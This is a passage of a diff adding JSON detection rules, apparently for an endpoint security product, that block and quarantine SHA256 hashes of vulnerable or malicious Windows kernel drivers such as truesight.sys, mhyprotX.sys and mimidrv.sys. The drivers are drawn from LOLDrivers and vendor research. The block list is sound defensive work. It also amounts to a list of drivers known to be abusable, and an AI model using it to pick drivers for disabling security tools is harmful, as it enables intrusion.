+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476661Z",
+  "creation_date": "2026-03-23T11:45:31.476665Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476675Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0369c017c4d9d03e1399c31ef0857c94f9b4a759151e1f7dcefb78b76bd86ad5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d489c95f-23c2-55a8-b43b-29575820c453",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978118Z",
+  "creation_date": "2026-03-23T11:45:29.978120Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978125Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4ac619fb531793945ad4c72bdd809ebd38512fc234aa452cb8364ee05465a7b",
+  "comment": "Vulnerable Kernel Driver (aka BlackBoneDrv10.sys) [https://www.loldrivers.io/drivers/722772ee-a461-48ec-933d-f3df1578963e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d48f7729-0e8c-5b4d-85c7-2435444e071e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463156Z",
+  "creation_date": "2026-03-23T11:45:30.463159Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463167Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c42c1e5c3c04163bf61c3b86b04a5ec7d302af7e254990cef359ac80474299da",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d4934a41-6399-58da-9792-2d15e83ab4ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611847Z",
+  "creation_date": "2026-03-23T11:45:29.611849Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "247aadaf17ed894fcacf3fc4e109b005540e3659fd0249190eb33725d3d3082f",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d49b4bc1-1750-5a85-aa8c-b4a14b095e91",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471162Z",
+  "creation_date": "2026-03-23T11:45:30.471165Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d15a0bc7a39bbeff10019496c1ed217b7c1b26da37b2bdd46820b35161ddb3c4",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/fbdd993b-47b1-4448-8c41-24c310802398/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d4d17544-6fc3-5f62-9746-36cafa10f69a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984355Z",
+  "creation_date": "2026-03-23T11:45:29.984357Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984363Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "945ee05244316ff2f877718cf0625d4eb34e6ec472f403f958f2a700f9092507",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d4e81788-1731-517f-a25d-040acd961ee7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140345Z",
+  "creation_date": "2026-03-23T11:45:31.140347Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140352Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b33b3a531fc9b0d0353b218a6b0abfdf4094c8eec8b7403da1088eb9916f4741",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d4ee88a1-4146-5737-ac5b-be1589934f0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.161111Z",
+  "creation_date": "2026-03-23T11:45:31.161113Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.161118Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "716d44fbbb56c412b9307a7e5d666d1e166e8d2fa3e5e07cf34e9c5bdc4770ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d503b77e-f329-50c3-a63f-151e515a02c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466157Z",
+  "creation_date": "2026-03-23T11:45:30.466160Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466169Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8206ce9c42582ac980ff5d64f8e3e310bc2baa42d1a206dd831c6ab397fbd8fe",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d51a04e4-66c5-5bbb-8d46-0b31a85a8104",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813667Z",
+  "creation_date": "2026-03-23T11:45:31.813669Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813674Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0fd8ec1bd57418e63f9f752ed48e5183221543fd5e4d8b2dba60fa8590433978",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d52667b7-fe4b-5476-aa1e-eefabe930e5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984564Z",
+  "creation_date": "2026-03-23T11:45:29.984566Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984572Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e96edcd1d5daeb7cbbc2602e9cdf2fd6723cbde0cfcf65eded6d02b58c58473",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d53903c7-00b6-53f5-99f6-1a0abdc55de4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488759Z",
+  "creation_date": "2026-03-23T11:45:31.488761Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488767Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "045df00af2228ec0219665623a5a6145e9a55e39d88e0b916dfcfd1de3186efb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d546c29e-4f59-5ca0-9608-9642a9dd0923",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458022Z",
+  "creation_date": "2026-03-23T11:45:30.458025Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458035Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f77fe6b1e0e913ac109335a8fa2ac4961d35cbbd50729936059aba8700690a9e",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d547e928-c81e-5089-887d-6b306a6cbc9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145344Z",
+  "creation_date": "2026-03-23T11:45:32.145348Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145356Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fdf15402013191f701086e188d88041481f1562aa43e4ca8a21f4d489e791a36",
+  "comment": "Vulnerable Kernel Driver (aka SeasunProtect.sys) [https://www.loldrivers.io/drivers/3a9ea9a6-e5e3-439a-b892-1f78dd990099/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d54de769-b192-5f54-89ae-caa79107b1bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968060Z",
+  "creation_date": "2026-03-23T11:45:29.968062Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71a12491b91eff58d2c834160bf8eb03be2e78548c9d06f435b31d9e7dcaecd8",
+  "comment": "Projector Rootkit malicious drivers (aka KB_VRX_deviced.sys) [https://twitter.com/struppigel/status/1551503748601729025] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d563ccb2-9a1e-5c5d-976f-06fbf2b613a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978597Z",
+  "creation_date": "2026-03-23T11:45:29.978599Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978604Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "635273eaa4c2e20c4ec320c6c8447ce2e881984e97c9ed6aeec4fad16b934e81",
+  "comment": "Vulnerable Kernel Driver (aka bwrsh.sys) [https://www.loldrivers.io/drivers/974de971-1f78-47b9-8049-6c34f294acd5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d575975a-d1be-5e7f-ab24-10783b482040",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452217Z",
+  "creation_date": "2026-03-23T11:45:30.452221Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452230Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b531f0a11ca481d5125c93c977325e135a04058019f939169ce3cdedaddd422d",
+  "comment": "Vulnerable Kernel Driver (aka mhyprot3.sys) [https://www.loldrivers.io/drivers/2aa003cd-5f36-46a6-ae3d-f5afc2c8baa3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d5a842a5-67e6-5e8b-bde2-a999c285fd5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156518Z",
+  "creation_date": "2026-03-23T11:45:31.156519Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156525Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db77b9e868b942f5a4e7779e210b73699ff8f26dc7e92acc39ddc614e73374e6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d5ab7150-9289-5e04-85b4-e6aa51a17667",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613858Z",
+  "creation_date": "2026-03-23T11:45:29.613860Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613865Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15bc804877a607ba0d017df9f6ac951ac7ffbcca8069c5ba28e0cf505f7553b8",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d5b2b465-2733-5f3b-98ff-edbdaa4f1e2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493569Z",
+  "creation_date": "2026-03-23T11:45:31.493572Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493581Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb27b99f572f95051a227285e5adbc4c4135952f8b54323a3b9c19bda2082ab2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d5b8bb83-4dc4-58c5-a900-2599dc102649",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616686Z",
+  "creation_date": "2026-03-23T11:45:29.616688Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616693Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42579a759f3f95f20a2c51d5ac2047a2662a2675b3fb9f46c1ed7f23393a0f00",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d5c10855-2efd-5a3a-962a-4ecddd197f77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143224Z",
+  "creation_date": "2026-03-23T11:45:32.143226Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143231Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f69d6b167a1eeca3f6ac64785c3c01976ee7303171faf998d65852056988683",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d5c67434-06e4-5fb0-aca7-c87df30dda42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459985Z",
+  "creation_date": "2026-03-23T11:45:30.459988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459997Z",
+  "rule_level": null,
+  "rule_level_override": null,
